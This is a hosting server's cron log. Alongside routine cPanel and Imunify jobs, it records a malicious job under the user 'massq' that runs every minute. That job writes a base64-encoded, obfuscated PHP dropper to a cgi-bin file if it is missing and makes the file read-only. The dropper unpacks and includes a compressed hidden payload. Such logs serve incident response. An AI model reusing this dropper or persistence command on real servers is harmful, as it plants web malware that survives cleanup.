Sep  5 21:58:02 server CROND[28378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:59:01 server CROND[28742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:59:01 server CROND[28743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:59:01 server CROND[28744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:00:01 server CROND[29125]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 22:00:01 server CROND[29129]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:00:01 server CROND[29133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:00:01 server CROND[29140]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:00:01 server CROND[29141]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 22:00:01 server CROND[29138]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 22:00:01 server CROND[29145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:00:01 server CROND[29144]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 22:00:01 server CROND[29142]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 22:00:01 server CROND[29143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:01:01 server CROND[29980]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 22:01:01 server CROND[29981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:01:01 server CROND[29983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:01:01 server CROND[29982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:01:01 server run-parts(/etc/cron.hourly)[29980]: starting 0anacron
Sep  5 22:01:01 server run-parts(/etc/cron.hourly)[30003]: finished 0anacron
Sep  5 22:02:01 server CROND[30454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:02:01 server CROND[30455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:02:01 server CROND[30456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:03:01 server CROND[30839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:03:01 server CROND[30840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:03:01 server CROND[30841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:04:01 server CROND[31204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:04:01 server CROND[31205]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:04:01 server CROND[31206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:05:01 server CROND[31574]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:05:01 server CROND[31576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:05:01 server CROND[31577]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 22:05:01 server CROND[31580]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 22:05:01 server CROND[31579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:05:01 server CROND[31581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:05:01 server CROND[31583]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:05:01 server CROND[31582]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 22:06:01 server CROND[32472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:06:01 server CROND[32473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:06:01 server CROND[32474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:07:02 server CROND[484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:07:02 server CROND[485]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:07:02 server CROND[486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:08:01 server CROND[887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:08:01 server CROND[888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:08:01 server CROND[889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:09:01 server CROND[1362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:09:01 server CROND[1363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:09:01 server CROND[1364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:09:01 server CROND[1365]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 22:10:01 server CROND[1767]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:10:01 server CROND[1764]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
